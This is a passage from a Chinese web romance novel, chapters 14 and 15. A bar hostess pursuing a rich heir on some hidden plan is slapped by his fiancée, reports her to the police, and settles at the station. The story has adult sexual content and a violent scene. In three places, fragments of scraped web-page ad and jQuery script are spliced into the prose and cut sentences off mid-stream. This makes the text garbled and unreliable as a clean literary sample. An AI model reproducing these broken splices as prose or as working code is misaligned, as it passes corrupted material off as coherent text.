云遥兀自笑一声,这姑娘都见过她了,也生过气,竟也能同意。挺能忍的。 长摁照片,顺手甩给严泊裕。 打车回家,云遥蒙头继续睡了一觉,中间应该是药效过了,迷迷糊糊被疼醒几回,再昏昏沉沉地睡过去。 彻底醒来已经是下午,外面有人敲门。 “谁?”刚睡醒的嗓音有些沙哑。 “瑶瑶姐,你还好吗?你睡了一天了,我有点担心。” 男生声音清晰,是张清让。 “我没事,你去忙吧。” “……哦,好。” 外面的脚步声渐渐远去,云遥爬起来,拧开不知道哪天喝剩下的矿泉水,就着布洛芬胶囊吃下去。 再睡醒已经是深夜,睡多了脑子钝疼,打开手机,早晨发的微信有了回复,回复时间在昨天中午。 严泊裕:消息这么灵通? 到了晚上她也没回,他又发一条:生气了? 再看两眼,手机丢床上,云遥去卫生间换条卫生巾,洗把脸,再拿着手机出门。 大门上了锁,她没有钥匙,看一眼院墙,不到两米,三米助跑, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冲上去,攀住墙头翻身跳下。 从这么高的地方跳下去,震感从脚底板疼到大腿根。 就在这时,院子里响起一道四面楚歌的急声:“谁?!” 随即是急促的脚步声,还有不知道什么东西拖在砖地上的刺耳声音。 “是我。”云遥开口。 “瑶瑶姐?” 大门开锁打开,露出月下少年的脸,张清让手里拖着铁锹,奇怪问:“你什么时候出去的?” “刚刚。” “刚刚……刚……你翻墙头啊?!”他突然反应过来。 “嗯。”云遥淡淡应一声,“我还有事,先走了,你回去睡觉吧。” 张清让追出来,“大半夜的,你去哪啊?” “有事。” “我跟你一块吧,你自己是不是不太安全。” “没什么,我打了车,一会儿就到。” “那我看着你上车。” 张清让关上门跟着她出去,瑶瑶姐脚步很快,不和他走一块,他只能在后面跟着,看着她的窈窕背影。 她来这住有小半年了,经常晚出早归,行踪不定,他之前好奇问过几次她是做什么的,但每回都没有答案。 …… 灯火通明的半山别墅,男人穿着真丝睡袍,站在二楼窗口抽烟,不时低头看一眼手机。 不一会儿,他身后出现一双小巧白皙的脚,悄悄靠近,从身后抱住他的腰,探头去看他的手机,“在看什么呀?” 严泊裕收了手机,拿下她的手转过身,“不是说累了,要睡觉?” 女人晃晃他的手,仰头笑着撒娇,“我认床,没有严哥哥陪着睡不着。” “乖,去睡觉。” 他扯掉女人抓着他的手,与此同时,另一只手里的手机突然震动起来。 他翻过来看,进来一条微信消息。 楚冰娇也抻头去看,不高兴说:“谁呀,这么晚还给你发消息。” “生意上的事。”严泊裕匆匆扫过一眼,便推着她回去,佣人进来收拾过,原本凌乱潮湿的大床已经焕然一新,“我还有事,先走了,你安心在这睡,明早叫李叔送你回去。” “到底谁找你啊。” “给你说了你也不知道,别操心太多。”他这句话说完,女人的秀眉已经皱起来,他便玩笑似地说,“小心衰老。” 她立刻气得跺脚,“你竟然说我老?!你才老!” “好好好,我老,我老,你还小着呢,又小又漂亮。” 严泊裕随便应付过去,拉开衣柜,换上衬衫西裤,想了想,又在衬衫里面套个短袖,拉开抽屉,拿上车钥匙出门。 他开车到之前的公寓楼下,还没下车,就看见绿化带的矮树丛边蹲着个女人,穿着烟蓝色的吊带短裙,怕冷的双手抱臂压在膝盖上。 路灯的光斜照到她身上,拉长了影子,也拉出了她此刻无人问津的孤独和凄凉。 他关上车门,走到近前,解开身上的衬衣递给她,“怎么想的,凌晨这么冷,还敢穿这么少?” 女人听见声音,想被惊醒一样抬头,路灯照亮她通红的眼眶,脸蛋却白的不正常,像是已经哭过一阵了。 他刚这样想,就见她眼里迅速聚齐一捧水光,有一颗透明泪珠,在暖黄光芒的笼罩下,摇摇欲坠地自她眼角淌下。 真像个被主人丢弃的小可怜。严泊裕想。 14. 订婚 云遥起身,倔强抹掉脸上泪水,左错一步,躲开他递来的衬衫,嗓音有着哭腔的绵软和沙哑,“瑶瑶可不敢接有对象人的衣服,万一再被打了,可没地儿说理去。” 小女孩一样别扭赌气的样子。严泊裕心下轻笑,强硬地拉过来她冰凉的胳膊,撑开衬衣挂她肩膀上。 “和什么赌气都行,就是别跟自个儿的身体赌气,回头生了病,受苦的还是你自己,谁也分担不了。” “反正也没人在乎,病死了不正好?省的碍了某些人的眼。”她扭过脸不看他。 严泊裕这下真笑出了声,朗朗笑声,惹恼了月下美人,她气得哼一声,拽下衬衣丢给他,转身就要走。 严泊裕接住她扔来的衬衣,拽上她手腕,她立刻挣扎。小幅度的晃动,既体现了自己的态度,又不至于真惹恼了男人,娇声嗔恼:“你别碰我。” “不让我碰?那为什么这里有个人站着?我以为是在等我。”他温声笑语。 “没有,这个人不是在等你,她现在要走了。” 云遥说着就反手推他,严泊裕将人拢进怀里,重新撑开衬衣搭她肩上,顺势握住她冰凉的肩头。她很瘦,肩膀轻薄却并不硌手,骨肉匀停,恰到好处。 难得好脾气哄道:“好了,先跟我上去。” 云遥自嘲勾唇,“跟你上去做什么?以什么身份跟你上去?瑶瑶是缺钱,但也不是那没底线的人……不然也不会一直在酒吧做事,而不是早早成了什么人见不得光的情妇。” 她说着似是想起伤心事,眼眶又不受控制地红起来,低头咬唇想要控制,最后发现实在忍不住,别过脸去,只留给男人不住淌泪的半边脸颊和绯红湿润的眼角。 静悄悄的路边,顶上暖黄色灯光穿过叶隙打下来,在她看不见的地方,男人眸色几经变换,但不论如何,严泊裕发现他都无法忽视内心深处那一抹不适。 他蹙起眉头,拇指抹掉她这边脸上的泪痕,“何苦这么贬低自己。” “不是贬低,而是在一些人眼中,瑶瑶就是这个样子。” “胡说,你不看轻自己,谁又能看轻你到哪里去?” 他这话说完,不但没把人哄好,她眼泪反而淌得更凶,严泊裕叹口气,“没有,没订婚。” 男人醇厚悦耳的嗓音响在安静的夜色中,怀里的女人惊讶抬头,晶莹漂亮的眼里盛满了流转的水光。 “没订婚?” “嗯,没有。”严泊裕垂眸看着她哭得脏兮兮的小脸,又叹口气,掏出巾帕给她擦擦,云遥赶紧伸手接住,“不麻烦严公子,瑶瑶自己来。” 严泊裕瞧着她变脸的速度,忍俊不禁,心情颇好,耐心又宠溺说:“先上去。上去我给你解释。再待一会儿,非把你冻感冒不可。” “嗯,好。” 云遥乖巧点头,跟着他上楼。 开门进屋,客厅空气干燥,但浮荡着一种久未有人的萧瑟清凉。 两人弯腰换好鞋,云遥起身抬头,忽然注意到他脖颈一侧,被颈骨撑起的皮肤红了指甲盖大小的一片。 玄关顶上强烈的白光打下来,那块吻痕红的尤其鲜艳。 他和名媛小姐上床了? 云遥心里突然沉甸甸的,又非常不可思议,他竟然和那个名媛小姐上床了? 最后一回在饭店碰见,他看起来和名媛小姐没有什么感情,那女人瞧不起自己,连带着对严泊裕也恶语相向。 一段时间没见,两人都能上床了? 云遥脱掉刚换上的拖鞋,弯腰穿自己便宜的板鞋。 严泊裕奇怪地拉住她胳膊,“你又穿鞋做什么?” 她不说话,就要穿鞋,用力弯腰摸鞋子,随即被男人毫不费力地提起来,一只大掌就将她的两个手腕握在一起,高举到头顶,抵到鞋柜上。 将她提起来之后,她又泪光盈盈的脸蛋暴露在男人的视线中,他皱了皱眉。 “怎么又哭了?” 这句反问已经隐隐有些不耐烦。 云遥眼里不动声色转了情绪,一种哀莫大于心死的凄凉,“你……是不是,和别的女人……上床了?” 严泊裕一愣。 他想起来,楚冰娇确实喜欢喷香水,但他已经洗过澡了,上车后也喷了自己的香水,她还能闻出来味道? “怎么这么说?” 云遥淡淡苦笑,柔软手指摸上他颈侧那块红痕,“瑶瑶眼睛又不是瞎的。” 随即抬眼直视他的目光,“是,那天在alluring,瑶瑶是说了图严公子的钱,但那不是因为严公子不信瑶瑶喜欢您么……不过既然那么说了,瑶瑶就不会再拿感情说事。可瑶瑶就算是条跟在严公子身后摇尾乞怜的狗,看到严公子有了其他爱宠,是不是也有自己离开的资格呢?” 她一边说一边淌泪,泪光闪闪的通红双眸虽然不会说话,却道尽了对他的不满和爱恋,充满了悲戚色彩。 时光重叠,画面闪现,严泊裕脑海忽然浮现那晚在饭店,她被楚冰娇当面拆穿,说要和他断了时的眼神。 严泊裕怔怔看着。 那晚的抽疼,隐隐约约又回到了心口,还有了方才在楼下的闷酸,像是尚未成熟的青果,轻轻一捏,就是满手的酸涩。 男人的掌心抚上她脸颊,怜惜道:“说了别看轻自己,别妄自菲薄,你怎么会是我身后的一条狗,哪个男人会跟狗上床?” 云遥别过脸想装严肃,嘴角先没憋住,忍不住勾了勾,轻轻推他一下。 他也闷笑一声,成熟性感的嗓音回荡在耳边,“我和楚冰娇的亲事是两家大人聊的,我妈同意,楚冰娇她爸也同意,容不得我们两个小辈不愿意,所以前天才会又在一起吃饭。” “那……”她犹豫抬眼看他,片刻后才鼓起勇气问,“你喜欢她吗?她那么漂亮,那么有气质……” “爷最喜欢你。”男人点了下她的鼻尖,低声笑说。 “什么嘛……你少哄我了。”云遥转向客厅看了一圈,“这个屋子都没有人气儿,你肯定都没来过,你只想把我藏起来,都不愿意让我去你自己住的地方。” 她半是撒娇半是生气地说完,身前的男人很长时间没有再说话,她能感觉他垂眸瞧着她,微热的呼吸吹到她脸上,还有他身上清淡微凉的香气。 周围太过安静,空气忽然稀薄紧绷起来。 云遥心跳咚咚响,她又向着未知的前方迈了一步,想抬眼看看他,又担心此刻的自己会露出什么破绽。 手指紧张抓着他的短袖,唇角难堪地咬起来,她于安静中怯弱启声:“……严公子要是……不愿意的话……” 男人忽然轻笑一声,从鼻子里发出的笑声,热气扑到她脸上,让她的头更难堪地低下去。 下一秒,下巴被用力捏住。 严泊裕抬起面前这张小脸,眼泪不知何时已经流干了,薄红的眼皮垂着,他越抬她越垂,快要眯成一条线,颤似雨中蝶翅,似乎是怕极了他。 “什么胆子,怕我做什么?” 她声线紧张到颤抖,“瑶瑶……瑶瑶冒犯了您……” “刚才不是挺敢说的么?” “瑶瑶不敢了……” 男人轻轻抚摸她的脸颊,“我那没什么好的,人多,太吵,容易打扰到你,在这多安静,你要是嫌冷清,我再找两个人来陪你说说话。” “谢谢……谢谢严公子。” “换个称呼,这个太客气了。” 他没说叫他的名字,云遥便试探着叫了另一个,抬头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞄他一眼,又垂眼羞赧叫:“谢谢爷。” “真乖。” 严泊裕摸着她柔软的脸颊,另一只手摸到她腰上,掐住上抬,她身子敏感地抖了一下,贴到他身上,男人双眸漆黑火热,暗示意味极浓。 她双眸魅惑地眨了眨,细软双手攀上男人脖子,主动踮脚,他托住她的屁股抬到鞋柜上,迫不及待地低头吻上她唇瓣。 玄关口的空气热度攀升,严泊裕燥热难耐,大掌顺着女人腰线下滑,甩开碍事的裙摆,摸到海绵垫的时候,像被人兜头泼了一盆凉水,接吻动作骤停。 云遥心脏收紧抖了一下。 实在是刚刚她那句出格的话可能已经让他警惕,或者说生气了……这会肚子不疼,她完全忘了自己来着大姨妈的事实…… 与男人对视片刻,她轻眨了眨眼,唇瓣与他分离,脸颊又羞又难堪,“瑶瑶今天身体不舒服……” 严泊裕的脸色片刻后便恢复正常,并未在这方面多做计较,指腹碾上她殷红湿润的唇瓣,上面还残留着两人激烈拥吻后的水液,她的唇有肉,唇珠也小,性感的要命。 男人滚了滚喉结,嗓音微哑,半认真半随意地问:“会口吗?” 云遥愣了一下。 他那儿已经起了,自己刚才又刚说过让他猜疑的话,这种时候,顺着他来才是最让他满意,也是最合适的。 但她不喜欢给男人这样,以前也只给周明坤弄过这事儿,不过就一次,还是看他实在憋得难受,只给他用手还出不来。她原本就不喜欢,试过之后就更不喜欢了。 而且那时候周明坤粉粉嫩嫩的她还不喜欢,他们这种三十多的老男人都有色素沉淀了,她就更不愿意了。 刚刚升温的空气骤然下降,房间安静得厉害,只有刚刚激吻之后,喘息又紧张的呼吸声响在耳边。 女人抿抿唇,胆怯的眼珠微动了动,还没斟酌出话,严泊裕便失了兴趣,松开摁着她唇瓣的手,“算了,你今晚就在这好好休息吧,我还有事,先走了。” 云遥看着他,依依不舍地点头,“爷路上小心。” …… 严泊裕离开后,云遥在屋子里转了一圈,和上回来没什么区别,她在这待着也没意思,开门下楼。 也是不巧,或者说巧得很,云遥刚出公寓大楼,就看见一个女人从不远处的车上下来。 对方踩着气势汹汹的高跟鞋,拎着名贵包包,迎面朝她走来,挥手就将包甩了过来。 门口路灯明亮,女人包上镶嵌的全是钻石,在灯光下更是闪得晃眼,背着的时候漂亮夺目,甩到人身上的时候也是痛得要命。 云遥下意识抬手去挡,包身的钻石打到她的胳膊,钻皮肤的疼,火辣辣的,她没看,估计是破皮了。 但也拽住了女人的包,阻挡了她的第二次进攻。 她用力拽过来。 对方跟着往前动了一步,高跟鞋站不稳,只得松了包去扶旁边的墙角。 一时间高跟鞋歪了,精致的卷发乱了,脸上也没了刚才的盛气凌人和气势汹汹,从神坛跌落,狼狈起来。 云遥看着女人失态的样子,皱了皱眉,“你怎么找过来的?” “我告诉你!”楚冰娇一身正宫气质,扬高下巴盯着她,眼里的冰渣子要是能扎人,云遥早被她穿成了血窟窿。 “我和严哥哥下月八号就要订婚了,你最好识相一点,别再勾引他纠缠他,和他分开,不然我一定让你在芜江混不下去。” 听见第一句话的时候,云遥已经懵了,但很快反应过来,既然双方父母愿意,他们订婚是早晚的事。现在还没订,严格来讲严泊裕也不算骗她。 只是……下月八号订婚,今天已经是20号。留给她的时间不多了。 15. 报警 “……订……订婚?”云遥被吓蒙了,随即无法置信地看着她,秀气的眉头蹙成八字,一边摇头一边魂不守舍说,“怎么可能?不会的,爷刚才还和我说……说他没订婚,他说他最喜欢我了……” “什、么?!”楚冰娇只觉得通体冰凉,又似火烧,脑门子都要气炸了! 严泊裕过来还真是找她的!竟然说最喜欢这个陪酒女了! 她一个千金大小姐,哪里比不上这个穷酸的陪酒女!她跟在严泊裕屁股后面多少年,他都没对她说过一句喜欢,就连订婚也是被严阿姨拿继承人的身份逼着同意的,竟然前脚和她滚过床单,后脚就来和这个穷酸磕碜的陪酒女说最喜欢她! 那一瞬间,楚冰娇浑身上下只有无穷无尽的火气,想到从小到在严泊裕那受到的冷落,圈里那些塑料姐妹背后嘲笑的嘴脸,眼前这个女人哪哪都不如她、却轻而易举获得男人的芳心……一桩桩、一件件,装在她的皮囊里憋的要炸了,什么都没想,楚冰娇一巴掌狠狠挥了上去。 她可能是用尽了毕生的力气,将对方扇的连捂脸都来不及,转个圈摔倒在地,痛苦呻吟。 楚冰娇居高临下看着她像条狗一样趴在地上,心里似乎才得了一丝爽快,就应该这样,这个陪酒女凭什么?什么身份!凭什么得到严哥哥的喜欢?凭什么和她拥有同一个男人?看见这个穷酸肮脏的女人,她只觉得恶心。 连严泊裕都恶心。 这样肮脏的女人也下得去口。 云遥捂着自己火辣辣疼的脸,嘴角也疼的厉害,轻轻碰了一下,摸到温热黏腻的鲜血,裂口了。 见名媛小姐转身要走,她赶紧叫住,“你等等!” “干什么?”楚冰娇回头,嫌恶地蔑视,“还没被打够?” “我要报警。”云遥掏出手机,说着就开始打电话。 “什么?” 一开始,楚冰娇不可思议地笑了一声,在她的地盘上报警说她打人?太不自量力了吧。 “你是不是不知道我是谁?那我告诉你,我可是楚天集团的大小姐,整个芜江都是我们楚家的,你竟然敢报警抓我,信不信我爸把你——送进去?” 但等对方开始对着手机报地址和她楚家大小姐的身份,楚冰娇突然没了方才的傲慢,面色一变,慌乱跺脚,“不是,不是……你真报警啊?你想要多少赔偿我都给你,一百万够不够?五百万,一千万?你别报警啊!” 和一个陪酒女扯头花闹到警局,她这样高贵的身份和一个肮脏低劣的陪酒女勾搭到一块,还不让圈里的小姐妹笑话死,真是能笑话一辈子的黑料了! 云遥冷眼睨着她恨不能抛却自小的利益克制,扑过来抢夺手机的慌乱,挂了电话,捂着脸对她说:“十分钟,警察就过来了。” 楚冰娇又气又急,纤白细腻的双手止不住撕扯包包提手和丝巾,“你想要多少钱?” “我什么钱都不要,我要你打人付出代价!” “不是……”楚冰娇是真慌了,“你跟着严哥哥不就是为了钱,你说,你想要多少,我都给你,我满足你行吗,你别报警啊……” 真报警了,她真要背一辈子的黑料了。 更重要的是,爸爸已经警告过她不要插手严泊裕在外的私生活,严泊裕不是她能管的,结婚后她只需要做好自己严太太,生下严家和楚家的未来继承人,享一辈子的锦绣荣华。是她自己憋不住跑过来的。 真闹到了警局,她怎么敢让爸爸去捞她和封锁消息啊。 “别说话了,等着吧。”云遥不耐烦地说一句。 她现在脸疼嘴疼的厉害,比胳膊都疼,每张口说一个字,牵扯到唇角的皮肉都要疼一回。 这名媛小姐下手真狠。 楚冰娇本就心慌意乱,心神不定,被她这算是呵斥的一声吓了一跳,仔细看,发现女人面容冷漠,捂着脸皱着眉,不耐烦的情绪溢于言表。 “好啊!”楚冰娇大声说,她算是发现了,“我就说你是个假白莲,真绿茶!你不是柔弱小白花吗,你在严哥哥面前装的真像啊,我都快被你骗了。” 云遥扫她一眼,没搭理。 楚冰娇更气了,“你还白眼我!” “闭嘴!” “你——” 楚冰娇气得跺脚,但人家都报过警了,她也不敢再动手,于是指着女人说:“我告诉你,下个月八号我真的要和严哥哥订婚了,严阿姨亲自找大师选定的时间,明天请柬就会派出去,现在,ZuhairMurad的著名设计师戴安徳先生正在连夜为我设计订婚礼服,我们真的要订婚了!” 云遥原本就被小公主那一巴掌扇得脸肿嘴裂,脑袋眩晕,现在更被她这喋喋不休的声音吵得头疼。 又过了几分钟,路上亮起两束白灯,警车姗姗来迟。 车上下来两位警察,云遥给他们看了脸上的伤,其中一位问楚冰娇:“小姐,是你扇的吗?” “我……” 楚冰娇在警察过来的时候已经不只是慌了,是怕了,手心出虚汗,心脏咚咚响。 她自小没了母亲,被爸爸捧在手里娇宠,能见警察的次数一只手都数得过来。更没有这样一个人面对警察过,还是在自己骄纵伤人的情况下。 她嗫嗫点头,随即补充说:“我不是故意的,我愿意赔偿,多少钱都愿意赔偿。” 警察又问云遥:“你愿意接受赔偿么?” “不愿意。”云遥捂着脸,嘶溜着嘴问,“能关她两天吗,长长记性。” “不行!”楚冰娇怕的叫起来,怎么也没想到,这个陪酒女竟然想把她关进去。 “我可是楚明国的女儿,楚天集团的大小姐,你们敢关我,明天我就让你们下岗!” 两位警察对视一眼,因为只是两个女人扯头花打架,所里就让他们俩——一个今年夏天才毕业、一个还是辅警的小警察过来了。这下谁也不敢动。 “那跟我们走一趟吧。”回所里让师父断案吧。 云遥说:“我申请先验伤,处理一下,胳膊疼,脸疼,嘴也疼死了。” 于是两位警察兵分两路,一个送大小姐回所里,一个带着云遥去医院验伤。 云遥这边验伤后处理伤口很顺利,那边辅警送大小姐回所里,被她缠了一路。 大小姐问:“我不会真的被关进去吧?” 她千金之躯,怎么能和那些地痞流氓社会无赖一起拘留,环境肮脏,吃一些不是人吃的东西。 辅警谨慎回答:“这个我不能确定,要是对方不愿意和解,伤也比较重的话,是有可能的。” “我可是楚天集团的千金!楚天集团你肯定知道的吧?” 辅警点头。他知道。国内最大的酒商,几乎占据了全国酒产量的百分之六十。 “那你们也敢关?”楚冰娇质问。 “这个我做不了主。” “谁能做主?你们所长能做主?你把你们所长的电话给我。” 辅警安静开车,没搭理。 楚冰娇看着前方灯火通明的夜路,越想自己被拘留的情景越慌,越想这件事被传出去的场景心里越乱,握着手机的手心不住地出汗。 她脑子里飞速搜寻能给谁打电话,即能解救自己又不会说出去让她丢人。 对,严泊裕! 给严泊裕打电话!两人的订婚还在进行阶段,他绝对不敢骂她破坏订婚,而且只有他既能救她,又有能力封锁消息。 况且自己是因为他来和陪酒女闹的,要是说出去了,他的正派未婚妻和他的情人打起来了,就坐实了他在外面有小三的事实,他绝对不敢说出去。 而且他还可以让陪酒女别和她计较,接受赔钱调解。 电话很快被接通,楚冰娇三言两句,避重就轻地陈述一遍,提出诉求:“你快和她说说,让她接受调解,我赔多少钱都行。” 她这边一骨碌说完,那边电话里很长时间没有声音。 楚冰娇的心又慌了起来,他不会不愿意帮忙吧? “……喂,严哥哥?” 这时候,正在直升机上的严泊裕头疼地按了按额角,“你到底怎么她了?” 楚冰娇一听就炸了,“什么叫我怎么她了?她可不是柔弱小白花,厉害着呢,我能怎么她啊?”随即又委屈起来,“严哥哥,你怎么都不关心关心我……” “你要是没怎么她,你能怕她不和你调解?还会主动要求赔偿?” “我就扇了她一巴掌,那她小题大做,非要报警,还不要钱,假清高……我能怎么办嘛,严哥哥,你一定要捞我出去,不然要是传出去了,你的准未婚妻和你的情人因为你进警局了,你肯定没有面子的对不对?我们要订婚了,一荣俱荣,一损俱损。” “只扇了她一巴掌?”男人咬重最后“一巴掌”,像是不相信她只做了这一件事。 “对啊,就扇了一巴掌。” “……就这一回,你以后老实点,再背着我去欺负她,我也管不了了。” “好好好。” 不管他说什么,楚冰娇现在都会满口应下。 至于以后……哼!她看着前面宽敞的夜路,这回她是没有经验,让这个陪酒女抓到把柄了,以后她只会做的更隐秘。 …… 云遥处理好伤口,拎着药盒和警察一起出医院。 警察看着她肿的快赶上面包高的左脸,眉头一直没下去过,“你行事小心一点,自己的安全最要紧,别最后把自己折腾没了。” “你这说的什么话。”云遥白他一眼,漫不经心说,“我有自己的计划。今晚怎么是你过来?” “我正好值班,听电话里的声音像你,过来看看。” 云遥想到最近停滞不前的进度,烦躁拧眉,“现在我人是和严泊裕搭上了,但他防备心太重,没什么进展,而且他下个月就要订婚了。” 要是换萧烜那种胸大无脑的笨蛋富哥,现在或许已经拿到她想要的了。 “这只是一条路,实在不行我们再换方法。” “……这是最好的路了,没有第二条选择。” 就在这时,云遥兜里的手机震起来,她看一眼,接通。 男人先问:“楚冰娇打你了?” 云遥看警察一眼,抬手让他等一等,往路边走一段,低泣着嗯一声,“嘴角都裂了……” 严泊裕就猜着楚冰娇没说实话,她这人,越是心虚越是虚张声势。 “这回先算了吧,我今晚有事去外地,回来给你带礼物,有什么想要的没有?” 云遥愣了下,随即关心问:“什么时候能回来呀?” 他笑一笑,语调轻松,“想我了?” “嗯……” “过两天,没个准儿。” 男人又说:“我还在直升机上,先挂了,这事儿你别和楚冰娇计较,你真让她进去两天,我的脸也没地儿搁了。” “嗯……”云遥乖巧说,“瑶瑶都听爷的。” “乖丫头,回去给你带礼物。” 他又说一遍,挂了电话。 云遥拿着手机拐回去,警察已经招到出租车,拉开后座车门让她上去。 一会儿便到了片所,下车之后,进警局之前,是两人能独处的最后时间,警察只来得及说一句:“别硬抗,有事儿记得给我和师父打电话。” “嗯。” 警局大厅,一个衣着精致的女人姿态娴雅地端坐在椅子上,看见两人进来,尤其是看见云遥脸蛋和胳膊上抹的药水,高傲地抬了抬下巴。 云遥把单子递过去,“医药费结了,今晚这事就过去了。” “哼。” 楚冰娇优雅地抬手接过来,看一眼单子,从钱夹里抽张银行卡,高傲地递出去,“刷卡么?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 云遥瞥她一眼,掏出手机,点开收款码。 她这下瞥的一眼,教楚冰娇气得站起来,“你又瞪我!” 云遥合上眼皮,暗自翻个白眼,“没瞪你,扫码结账,今晚这事儿就结束了。” “哼,量你也不敢。” 楚冰娇强硬地将银行卡塞她裙兜里,像施舍乞丐一样看着她,“说好了给你赔偿的,这里面是五百万,你收下,应该够你这种人衣食无忧一辈子了,以后不准再纠缠严哥哥了哦。” 云遥冷眼看她,“我不能要。” “给你就拿着吧,你非要缠着严哥哥,不就是想要钱。” “并不是。”云遥掏出银行卡,夹在指尖晃晃,“你要是现在不拿回去,明天这五百万就是铺满你家门口了。” “你——”楚冰娇被她气得胸口起伏。 太可恶了!太可恶了!这个低劣肮脏的陪酒女真不愧是社会最底层爬出来的,就会使这些阴暗拿不出手的卑鄙招数! 她气哼哼地抢回来,掏出手机扫码转账,云遥收了手机,签了警察的单子,转身离开。 楚冰娇踩着高跟鞋追过去,“严哥哥怎么跟你说的,你怎么就同意和解了?你和严哥哥在一起不就是为了钱,你为什么不要我的赔偿金?” 云遥回头看一眼她脚上的高跟鞋,真佩服她,穿这么高的跟还能健步如飞。 眼睛顺势上扫她这张气喘吁吁的小脸,“不想我和解?” 短短五个字,成功让楚冰娇噤声。 云遥在手机上下单网约车,楚冰娇的车已经让司机开过来了,她扶着车门,扬起骄傲的脸蛋,“需要我送你回去吗?” “不用。”云遥看着手机上司机就距离两百米,循着导航找过去。 楚冰娇看着女人走到街口,拉开出租车车门上车,心里更是气不打一处来,她一个千金大小姐,还是这个陪酒女勾引男人的准未婚妻,都主动屈尊说送她了,竟然不领情。 还敢拒绝她! 不识抬举! …… 云遥回到租房小院时,发现屋里灯火通明,刚推门进去,客厅沙发上躺着的男生立刻弹跳起来,揉着惺忪睡眼,“瑶瑶姐,你回来了。” 说完放下手,看见女人高高肿起的半边脸,猛吓一跳,“你脸怎么了?” 云遥笑一笑,“我说我出去偷东西,被主人抓住打了,你信么?” 张清让:“……” 他看起来真的这么好骗吗? “你睡吧,我上去了。” “需不需要我帮你冻冰块冷敷一下?” “不用,去过医院了。” 云遥又向姚姐多请了几天假,连着姨妈和脸上的伤一起养着,平日里也极少下去,只有外卖到,或者张清让多做了饭让她一块下去吃,才会下楼一趟。 盛夏台风登陆,芜江连下几天暴雨,云遥觉得自己再在这间小出租屋里躺着就发霉了,终于等到放晴,换到院子里的阴凉棚下躺着。 张清让在胡同口拿着个快递进来,“瑶瑶姐,你买快递了吗?但是这个电话号码不是你的啊。” 他经常出门,找朋友玩或者遛狗,碰到送快递和外卖的就顺手帮瑶瑶姐领了,对她电话号的前后七位记得很清楚。 云遥接到手里,上面只有“瑶瑶”两个字是她,手机号确实不是她,但东西有点特殊,是一种跌打损伤药膏。 心里大概清楚是谁买的,拆开一看,里面有一个盒子,一张票据,票据背面写了一个力透纸背的严字。 “有人送的。” “谁啊?”少年好奇。 “我偷的东西。” “啊?”张清让摸不着头脑。 云遥用这个药膏抹几天左脸,比之前好的快了一点,她对着镜子看,皮肤似乎也比先前好了许多。 有钱人用的东西就是好。 她对着镜子回想,怪不得初见那个人的时候,皮肤那么水灵,看起来那么富有贵气。 即便时间久远,记忆模糊,初见时高不可攀的印象,依然清晰如昨日。 手机里姚姐催的厉害,客人过来点人,人却不在,她每天解释好几遍,连天的解释,也解释烦了。 云遥提前回去上班。 晚上最后一间客人,有些意外。 418包间点了好几个,云遥顺在队伍最后进去,屋里和其他包间没什么区别,光线暧昧,音乐撩魂,又吵又乱,有进来早的,已经和男人亲上了,接吻的口水声,打啵儿声,路过的时候都能听见。 前面几个小姐妹坐下之后,云遥视野终于开阔,屋里六个男人分坐在沙发上,有年纪大的,有小年轻,身上有种穷人故意往富人身份上打扮的土精致。 这种云遥见过几次,就是穷人想进来开开眼,见见另类世面,说不定衣服还是今天下班后临时买的。 她走在最后,见沙发上的几个男人都有了女人陪,自觉自发地往里面走,发现靠近墙角的一个单人沙发上还坐着个独身男人。 他没跟大排沙发的男人似的,特意穿个衬衣、打个领带,他穿了件宽松的黑色棉布短袖,整个头都勾着,像是不想看见屋里的场景,故意躲远点,给自己竖起一道屏障。 云遥心下轻笑,都来这儿了,还装纯呢。 屋里光线暧昧不明,他那也不在灯光中心,只能模糊看见个宽大的人影。 云遥走过去的时候,有个搂着“公主”的青年男人指着黑衣男人说:“你去他那。” “是,公子——” 云遥娇声应和,继续往男人跟前走。 但她这一声说完,勾着头的黑衣男人突然抬头,云遥也扭着腰到了他跟前,看清这张熟悉到不能再熟悉的脸。 也看见,他穿的不是黑色短袖,是件藏蓝色短袖,因为屋里的光线,映射到她眼里,成了深重的黑色。